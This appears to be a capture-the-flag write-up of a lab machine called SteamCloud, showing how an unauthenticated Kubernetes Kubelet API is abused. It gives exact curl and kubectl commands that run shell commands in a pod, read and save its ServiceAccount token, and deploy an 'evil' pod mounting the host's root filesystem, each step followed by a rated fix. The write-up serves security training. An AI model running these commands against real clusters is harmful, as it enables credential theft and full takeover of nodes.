SteamCloud
Summary
Target steamcloud ($TARGET) runs a Kubernetes cluster whose Kubelet API on port 10250 was openly accessible to the internet without any authentication. I enumerated running pods, used the Kubelet's command-execution endpoint to run arbitrary shell commands inside the nginx container, and read the user flag directly. The same unauthenticated exec channel was used to extract the pod's Kubernetes ServiceAccount token — a credential that the nginx workload had no business holding but which carried rights to create new pods across the cluster.
I used that token against the Kubernetes API server to deploy a rogue pod with the host's entire filesystem mounted inside it, then exec'd into that pod to read the root flag. The entire compromise required no password cracking, no exploit code, and no lateral movement: three misconfigured defaults chained end-to-end gave full control of the underlying node.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,2379,2380,8443,10249,10250,10256 $TARGETcurl -sk https://$TARGET:8443/versionExact commands 2
curl -sk https://$TARGET:8443/api/v1/namespaces/default/podscurl -sk https://$TARGET:10250/pods | python3 -m json.tool | grep -E '"name"|"namespace"|"image"'FixDisable anonymous authentication and require authorization on the Kubelet APICritical
Exact commands 3
curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=id'kubeletctl --server $TARGET run 'id' --namespace default --pod nginx --container nginxcurl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /root/user.txt'Exact commands 2
curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token' -o ./sa_tokencurl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt' -o ./ca.crtFixOpt out of automatic ServiceAccount token mounting for workloads that do not call the Kubernetes APIHigh
Exact commands 2
kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" auth can-i create podskubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" get pods -AFixApply least-privilege RBAC — remove pod-creation rights from application ServiceAccountsHigh
Exact commands 3
cat <<'EOF' > evil-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: rootpod
namespace: default
spec:
containers:
- name: rootpod
image: nginx:1.14.2
volumeMounts:
- mountPath: /host
name: hostroot
volumes:
- name: hostroot
hostPath:
path: /
EOFkubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" apply -f evil-pod.yamlkubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" get pod rootpod -wFixEnforce Pod Security Admission to block hostPath volumes and privileged containersCritical
Exact commands 2
curl -sk -XPOST "https://$TARGET:10250/run/default/rootpod/rootpod" -d 'cmd=cat /host/root/root.txt'kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" exec rootpod -- cat /host/root/root.txtExposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 2379/tcp | unknown recon-sweep-discovered |
| 2380/tcp | unknown recon-sweep-discovered |
| 8443/tcp | http recon-sweep-discovered |
| 10249/tcp | http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |
| 10250/tcp | unknown recon-sweep-discovered |
| 10256/tcp | http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |